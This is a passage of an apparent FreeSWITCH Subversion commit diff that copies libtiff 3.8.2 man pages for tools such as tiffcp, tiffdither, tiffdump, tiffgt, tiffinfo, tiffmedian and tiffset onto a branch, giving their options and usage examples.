+for 2-dimensional encoding,
+and
+.B fill
+to force each encoded scanline to be zero-filled so that the
+terminating EOL code lies on a byte boundary.
+Group 3-specific options are specified by appending a ``:''-separated
+list to the ``g3'' option; e.g.
+.B "\-c g3:2d:fill"
+to get 2D-encoded data with byte-aligned EOL codes.
+.IP
+.SM LZW
+compression can be specified together with a 
+.I predictor
+value.
+A predictor value of 2 causes
+each scanline of the output image to undergo horizontal
+differencing before it is encoded; a value
+of 1 forces each scanline to be encoded without differencing.
+LZW-specific options are specified by appending a ``:''-separated
+list to the ``lzw'' option; e.g.
+.B "\-c lzw:2"
+for
+.SM LZW
+compression with horizontal differencing.
+.TP
+.B \-f
+Specify the bit fill order to use in writing output data.
+By default,
+.I tiffcp
+will create a new file with the same fill order as the original.
+Specifying
+.B "\-f lsb2msb"
+will force data to be written with the FillOrder tag set to
+.SM LSB2MSB,
+while
+.B "\-f msb2lsb"
+will force data to be written with the FillOrder tag set to
+.SM MSB2LSB.
+.TP
+.B \-l
+Specify the length of a tile (in pixels).
+.I tiffcp
+attempts to set the tile dimensions so
+that no more than 8 kilobytes of data appear in a tile.
+.TP
+.B \-L
+Force output to be written with Little-Endian byte order.
+This option only has an effect when the output file is created or
+overwritten and not when it is appended to.
+.TP
+.B \-M
+Suppress the use of memory-mapped files when reading images.
+.TP
+.B \-p
+Specify the planar configuration to use in writing image data
+that has one 8-bit sample per pixel.
+By default,
+.I tiffcp
+will create a new file with the same planar configuration as
+the original.
+Specifying
+.B "\-p contig"
+will force data to be written with multi-sample data packed
+together, while
+.B "\-p separate"
+will force samples to be written in separate planes.
+.TP
+.B \-r
+Specify the number of rows (scanlines) in each strip of data
+written to the output file.
+By default (or when value
+.B 0
+is specified),
+.I tiffcp
+attempts to set the rows/strip
+that no more than 8 kilobytes of data appear in a strip. If you specify
+special value
+.B -1
+it will results in infinite number of the rows per strip. The entire image
+will be the one strip in that case.
+.TP
+.B \-s
+Force the output file to be written with data organized in strips
+(rather than tiles).
+.TP
+.B \-t
+Force the output file to be written with data organized in tiles
+(rather than strips).
+options can be used to force the resultant image to be written
+as strips or tiles of data, respectively.
+.TP
+.B \-w
+Specify the width of a tile (in pixels).
+.I tiffcp
+attempts to set the tile dimensions so
+that no more than 8 kilobytes of data appear in a tile.
+.I tiffcp
+attempts to set the tile dimensions so
+that no more than 8 kilobytes of data appear in a tile.
+.TP
+.B \-,={character}
+substitute {character} for ',' in parsing image directory indices
+in files.  This is necessary if filenames contain commas.
+Note that ',=' with whitespace immediately following will disable
+the special meaning of the ',' entirely.  See examples.
+.SH EXAMPLES
+The following concatenates two files and writes the result using 
+.SM LZW
+encoding:
+.RS
+.nf
+tiffcp -c lzw a.tif b.tif result.tif
+.fi
+.RE
+.PP
+To convert a G3 1d-encoded 
+.SM TIFF
+to a single strip of G4-encoded data the following might be used:
+.RS
+.nf
+tiffcp -c g4 -r 10000 g3.tif g4.tif
+.fi
+.RE
+(1000 is just a number that is larger than the number of rows in
+the source file.)
+
+To extract a selected set of images from a multi-image
+TIFF file, the file name may be immediately followed by a ',' 
+separated list of image directory indices.  The first image
+is always in directory 0.  Thus, to copy the 1st and 3rd
+images of image file "album.tif" to "result.tif":
+.RS
+.nf
+tiffcp album.tif,0,2 result.tif
+.fi
+.RE
+
+Given file "CCD.tif" whose first image is a noise bias
+followed by images which include that bias,
+subtract the noise from all those images following it
+(while decompressing) with the command:
+.RS
+.nf
+tiffcp -c none -b CCD.tif CCD.tif,1, result.tif
+.fi
+.RE
+
+If the file above were named "CCD,X.tif", the "-,=" option would
+be required to correctly parse this filename with image numbers,
+as follows:
+.RS
+.nf
+tiffcp -c none -,=% -b CCD,X.tif CCD,X%1%.tif result.tif
+.SH "SEE ALSO"
+.BR pal2rgb (1),
+.BR tiffinfo (1),
+.BR tiffcmp (1),
+.BR tiffmedian (1),
+.BR tiffsplit (1),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffdither.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffdither.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/tiffdither.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffdither.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffdither.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,128 @@
+.\" $Id: tiffdither.1,v 1.3 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1990-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFDITHER 1 "September 20, 2005" "libtiff"
+.SH NAME
+tiffdither \- convert a greyscale image to bilevel using dithering
+.SH SYNOPSIS
+.B tiffdither
+[
+.I options
+]
+.I input.tif
+.I output.tif
+.SH DESCRIPTION
+.I tiffdither
+converts a single channel 8-bit greyscale image to a bilevel image
+using Floyd-Steinberg error propagation with thresholding.
+.SH OPTIONS
+.TP
+.B \-c
+Specify the compression to use for data written to the output file:
+.B none 
+for no compression,
+.B packbits
+for PackBits compression,
+.B lzw
+for Lempel-Ziv & Welch compression,
+.B zip
+for Deflate compression,
+.B g3
+for CCITT Group 3 (T.4) compression,
+and
+.B g4
+for CCITT Group 4 (T.6) compression.
+By default
+.I tiffdither
+will compress data according to the value of the
+.I Compression
+tag found in the source file.
+.IP
+The
+.SM CCITT
+Group 3 and Group 4 compression algorithms can only
+be used with bilevel data.
+.IP
+Group 3 compression can be specified together with several
+T.4-specific options:
+.B 1d
+for 1-dimensional encoding,
+.B 2d
+for 2-dimensional encoding,
+and
+.B fill
+to force each encoded scanline to be zero-filled so that the
+terminating EOL code lies on a byte boundary.
+Group 3-specific options are specified by appending a ``:''-separated
+list to the ``g3'' option; e.g.
+.B "\-c g3:2d:fill"
+to get 2D-encoded data with byte-aligned EOL codes.
+.IP
+.SM LZW
+compression can be specified together with a 
+.I predictor
+value.
+A predictor value of 2 causes
+each scanline of the output image to undergo horizontal
+differencing before it is encoded; a value
+of 1 forces each scanline to be encoded without differencing.
+LZW-specific options are specified by appending a ``:''-separated
+list to the ``lzw'' option; e.g.
+.B "\-c lzw:2"
+for
+.SM LZW
+compression with horizontal differencing.
+.TP
+.B \-f
+Specify the bit fill order to use in writing output data.
+By default,
+.I tiffdither
+will create a new file with the same fill order as the original.
+Specifying
+.B "\-f lsb2msb"
+will force data to be written with the FillOrder tag set to
+.SM LSB2MSB ,
+while
+.B "\-f msb2lsb"
+will force data to be written with the FillOrder tag set to
+.SM MSB2LSB .
+.TP
+.B \-t
+Set the threshold value for dithering.
+By default the threshold value is 128.
+.SH NOTES
+The dither algorithm is taken from the
+.BR tiffmedian (1)
+program (written by Paul Heckbert).
+.SH "SEE ALSO"
+.BR pal2rgb (1),
+.BR fax2tiff (1),
+.BR tiffinfo (1),
+.BR tiffcp (1),
+.BR tiff2bw (1),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffdump.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffdump.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/tiffdump.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffdump.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffdump.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,81 @@
+.\" $Id: tiffdump.1,v 1.4 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFDUMP 1 "October 23, 2005" "libtiff"
+.SH NAME
+tiffdump \- print verbatim information about
+.SM TIFF
+files
+.SH SYNOPSIS
+.B tiffdump
+[
+.I options
+]
+.I "name \&..."
+.SH DESCRIPTION
+.I tiffdump
+displays directory information from files created according
+to the Tag Image File Format, Revision 6.0.
+The header of each
+.SM TIFF
+file (magic number, version, and first directory offset)
+is displayed, followed by the tag contents of each directory in the file.
+For each tag, the name, data type, count, and value(s) is displayed.
+When the symbolic name for a tag or data type is known, the symbolic
+name is displayed followed by it's numeric (decimal) value.
+Tag values are displayed enclosed in ``<>'' characters immediately
+preceded by the value of the count field.
+For example, an
+.I ImageWidth
+tag might be displayed as ``ImageWidth (256) SHORT (3) 1<800>''.
+.PP
+.I tiffdump
+is particularly useful for investigating the contents of
+.SM TIFF
+files that
+.I libtiff
+does not understand.
+.SH OPTIONS
+.TP
+.B \-h
+Force numeric data to be printed in hexadecimal rather than the
+default decimal.
+.TP
+.B \-m " items"
+Change the number of indirect data items that are printed. By default, this
+will be 24.
+.TP
+.B \-o " offset"
+Dump the contents of the 
+.SM IFD
+at the a particular file offset.
+The file offset may be specified using the usual C-style syntax;
+i.e. a leading ``0x'' for hexadecimal and a leading ``0'' for octal.
+.SH "SEE ALSO"
+.BR tiffinfo (1),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffgt.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffgt.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/tiffgt.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffgt.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffgt.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,245 @@
+.\" $Id: tiffgt.1,v 1.3 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFGT 1 "September 20, 2005" "libtiff"
+.SH NAME
+tiffgt \- display an image stored in a
+.SM TIFF
+file (Silicon Graphics version)
+.SH SYNOPSIS
+.B tiffgt
+[
+.I options
+]
+.I "input.tif ..."
+.SH DESCRIPTION
+.I tiffgt
+displays one or more images stored using the
+Tag Image File Format, Revision 6.0.
+Each image is placed in a fixed size window that the
+user must position on the display (unless configured
+otherwise through X defaults).
+If the display has fewer than 24 bitplanes, or if the
+image does not warrant full color, then
+.SM RGB
+color values are mapped to the closest values that exist in
+the colormap (this is done using the
+.I rgbi
+routine found in the graphics utility library
+.BR \-lgutil .)
+.PP
+.I tiffgt
+correctly handles files with any of the following characteristics:
+.sp .5
+.in +0.5i
+.ta \w'\fIPhotometricInterpretation\fP  'u
+.nf
+BitsPerSample	1, 2, 4, 8, 16
+SamplesPerPixel	1, 3, 4 (the 4th sample is ignored)
+PhotometricInterpretation	0 (min-is-white), 1 (min-is-black), 2 (RGB), 3 (palette), 6 (YCbCr)
+PlanarConfiguration	1 (contiguous), 2 (separate)
+Orientation	1 (top-left), 4 (bottom-left)
+.fi
+.in -0.5i
+.sp .5
+Data may be organized as strips or tiles and may be
+compressed with any of the compression algorithms supported
+by the 
+.IR libtiff (3)
+library.
+.PP
+For palette images (\c
+.IR PhotometricInterpretation =3),
+.I tiffgt
+inspects the colormap values and assumes either 16-bit
+or 8-bit values according to the maximum value.
+That is, if no colormap entry greater than 255 is found,
+.I tiffgt
+assumes the colormap has only 8-bit values; otherwise
+it assumes 16-bit values.
+This inspection is done to handle old images written by
+previous (incorrect) versions of
+.IR libtiff .
+.PP
+.I tiffgt
+can be used to display multiple images one-at-a-time.
+The left mouse button switches the display to the first image in the
+.I next
+file in the list of files specified on the command line.
+The right mouse button switches to the first image in the
+.I previous
+file in the list.
+The middle mouse button causes the first image in the first file
+specified on the command line to be displayed.
+In addition the following keyboard commands are recognized:
+.TP
+.B b
+Use a
+.I PhotometricInterpretation
+of MinIsBlack in displaying the current image.
+.TP
+.B l
+Use a
+.I FillOrder
+of lsb-to-msb in decoding the current image.
+.TP
+.B m
+Use a
+.I FillOrder
+of msb-to-lsb in decoding the current image.
+.TP
+.B c
+Use a colormap visual to display the current image.
+.TP
+.B r
+Use a true color (24-bit RGB) visual to display the current image.
+.TP
+.B w
+Use a
+.I PhotometricInterpretation
+of MinIsWhite in displaying the current image.
+.TP
+.B W
+Toggle (enable/disable) display of warning messages from the
+.SM TIFF
+library when decoding images.
+.TP
+.B E
+Toggle (enable/disable) display of error messages from the
+.SM TIFF
+library when decoding images.
+.TP
+.B z
+Reset all parameters to their default settings (\c
+.IR FillOrder ,
+.IR PhotometricInterpretation ,
+handling of warnings and errors).
+.TP
+.B PageUp
+Display the previous image in the current file or the last
+image in the previous file.
+.TP
+.B PageDown
+Display the next image in the current file or the first image
+in the next file.
+.TP
+.B Home
+Display the first image in the current file.
+.TP
+.B End
+Display the last image in the current file (unimplemented).
+.SH OPTIONS
+.TP
+.B \-c
+Force image display in a colormap window.
+.TP
+.B \-d
+Specify an image to display by directory number.
+By default the first image in the file is displayed.
+Directories are numbered starting at zero.
+.TP
+.B \-e
+Enable reporting of error messages from the 
+.SM TIFF
+library.
+By default
+.I tiffgt
+silently ignores images that cannot be read.
+.TP
+.B \-f
+Force 
+.I tiffgt
+to run as a foreground process.
+By default
+.I tiffgt
+will place itself in the background once it has opened the
+requested image file.
+.TP
+.B \-l
+Force the presumed bit ordering to be
+.SM LSB
+to
+.SM MSB.
+.TP
+.B \-m
+Force the presumed bit ordering to be
+.SM MSB
+to
+.SM LSB.
+.TP
+.B \-o
+Specify an image to display by directory offset.
+By default the first image in the file is displayed.
+Directories offsets may be specified using C-style syntax;
+i.e. a leading ``0x'' for hexadecimal and a leading ``0'' for octal.
+.TP
+.B \-p
+Override the value of the
+.I PhotometricInterpretation
+tag; the parameter may be one of:
+.IR miniswhite ,
+.IR minisblack ,
+.IR rgb ,
+.IR palette ,
+.IR mask ,
+.IR separated ,
+.IR ycbcr ,
+and
+.IR cielab .
+.TP
+.B \-r
+Force image display in a full color window.
+.TP
+.B \-s
+Stop on the first read error.
+By default all errors in the input data are ignored and 
+.I tiffgt
+does it's best to display as much of an image as possible.
+.TP
+.B \-w
+Enable reporting of warning messages from the 
+.SM TIFF
+library.
+By default
+.I tiffgt
+ignores warning messages generated when reading an image.
+.TP
+.B \-v
+Place information in the title bar describing
+what type of window (full color or colormap) is being
+used, the name of the input file, and the directory
+index of the image (if non-zero).
+By default, the window type is not shown in the title bar.
+.SH BUGS
+Images wider and taller than the display are silently truncated to avoid
+crashing old versions of the window manager.
+.SH "SEE ALSO"
+.BR tiffdump (1),
+.BR tiffinfo (1),
+.BR tiffcp (1),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffinfo.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffinfo.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/tiffinfo.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffinfo.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffinfo.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,88 @@
+.\" $Id: tiffinfo.1,v 1.2 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFINFO 1 "November 2, 2005" "libtiff"
+.SH NAME
+tiffinfo \- print information about
+.SM TIFF
+files
+.SH SYNOPSIS
+.B tiffinfo
+[
+.I options
+]
+.I "input.tif \&..."
+.SH DESCRIPTION
+.I Tiffinfo
+displays information about files created according
+to the Tag Image File Format, Revision 6.0.
+By default, the contents of each
+.SM TIFF
+directory in each file
+is displayed, with the value of each tag shown symbolically
+(where sensible).
+.SH OPTIONS
+.TP
+.B \-c
+Display the colormap and color/gray response curves, if present.
+.TP
+.B \-D
+In addition to displaying the directory tags,
+read and decompress all the data in each image (but not display it).
+.TP
+.B \-d
+In addition to displaying the directory tags,
+print each byte of decompressed data in hexadecimal.
+.TP
+.B \-j
+Display any \s-2JPEG\s0-related tags that are present.
+.TP
+.B \-o
+Set the initial
+.SM TIFF
+directory according to the specified file offset.
+The file offset may be specified using the usual C-style syntax;
+i.e. a leading ``0x'' for hexadecimal and a leading ``0'' for octal.
+.TP
+.B \-s
+Display the offsets and byte counts for each data strip in a directory.
+.TP
+.B \-z
+Enable strip chopping when reading image data.
+.TP
+.B \-#
+Set the initial
+.SM TIFF
+directory to
+.IR # .
+.SH "SEE ALSO"
+.BR pal2rgb (1),
+.BR tiffcp (1),
+.BR tiffcmp (1),
+.BR tiffmedian (1),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffmedian.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffmedian.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/tiffmedian.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffmedian.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffmedian.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,112 @@
+.\" $Id: tiffmedian.1,v 1.3 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1990-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFMEDIAN 1 "November 2, 2005" "libtiff"
+.SH NAME
+tiffmedian \- apply the median cut algorithm to data in a
+.SM TIFF
+file
+.SH SYNOPSIS
+.B tiffmedian
+[
+.I options
+]
+.I input.tif
+.I output.tif
+.SH DESCRIPTION
+.I tiffmedian
+applies the median cut algorithm to an
+.SM RGB
+image in
+.I input.tif
+to generate a palette image that is written to
+.IR output.tif .
+The generated colormap has, by default, 256 entries.
+The image data is quantized by mapping each
+pixel to the closest color values in the colormap.
+.SH OPTIONS
+.TP
+.B \-c
+Specify the compression to use for data written to the output file:
+.B none 
+for no compression,
+.B packbits
+for PackBits compression,
+.B lzw
+for Lempel-Ziv & Welch compression,
+and
+.B zip
+for Deflate compression.
+By default
+.I tiffmedian
+will compress data according to the value of the
+.I Compression
+tag found in the source file.
+.IP
+.SM LZW
+compression can be specified together with a 
+.I predictor
+value.
+A predictor value of 2 causes
+each scanline of the output image to undergo horizontal
+differencing before it is encoded; a value
+of 1 forces each scanline to be encoded without differencing.
+LZW-specific options are specified by appending a ``:''-separated
+list to the ``lzw'' option; e.g.
+.B "\-c lzw:2"
+for
+.SM LZW
+compression with horizontal differencing.
+.TP
+.B \-C
+Specify the number of entries to use in the generated colormap.
+By default all 256 entries/colors are used.
+.TP
+.B \-f
+Apply Floyd-Steinberg dithering before selecting a colormap entry.
+.TP
+.B \-r
+Specify the number of rows (scanlines) in each strip of data
+written to the output file.
+By default,
+.I tiffmedian
+attempts to set the rows/strip
+that no more than 8 kilobytes of data appear in a strip.
+.SH NOTES
+This program is derived from Paul Heckbert's
+.I median
+program.
+.SH "SEE ALSO"
+.BR pal2rgb (1),
+.BR tiffinfo (1),
+.BR tiffcp (1),
+.BR tiffcmp (1),
+.BR libtiff (3TIFF)
+.PP
+.BR "Color Image Quantization for Frame Buffer Display",
+Paul Heckbert, SIGGRAPH proceedings, 1982, pp. 297-307.
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffset.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffset.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/tiffset.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffset.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffset.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,82 @@
+.\" $Id: tiffset.1,v 1.2 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFSET 1 "November 21, 2004" "libtiff"
+.SH NAME
+tiffset \- set a field in a
+.SM TIFF
+header
+.SH SYNOPSIS
+.B tiffset
+[
+options
+]
+.I filename.tif
+.SH DESCRIPTION
+.I Tiffset
+sets the value of a
+.SM TIFF
+header to a specified value.
+.SH OPTIONS
+.TP
+.B \-s tagnumber [count] value ...
+Set the value of the named tag to the value or values specified.
+.TP
+.B \-sf tagnumber filename
+Set the value of the tag to the contents of filename.  This option is
+supported for ASCII tags only.
+.SH EXAMPLES
+The following example sets the image description tag (270) of a.tif to
+the contents of the file descrip:
+.RS
+.nf
+tiffset -sf 270 descrip a.tif
+.fi
+.RE
+.PP
+The following example sets the artist tag (315) of a.tif to the string
+"Anonymous":
+.RS
+.nf
+tiffset -s 305 Anonymous a.tif
+.fi
+.RE
+.PP
+This example sets the resolution of the file a.tif to 300 dpi:
+.RS
+.nf
+tiffset -s 296 2 a.tif
+tiffset -s 282 300.0 a.tif
+tiffset -s 283 300.0 a.tif
+.fi
+.RE
+.SH "SEE ALSO"
+.BR tiffdump (1),
+.BR tiffinfo (1),
+.BR tiffcp (1),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffsplit.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffsplit.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/tiffsplit.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffsplit.1	                        (rev 0)
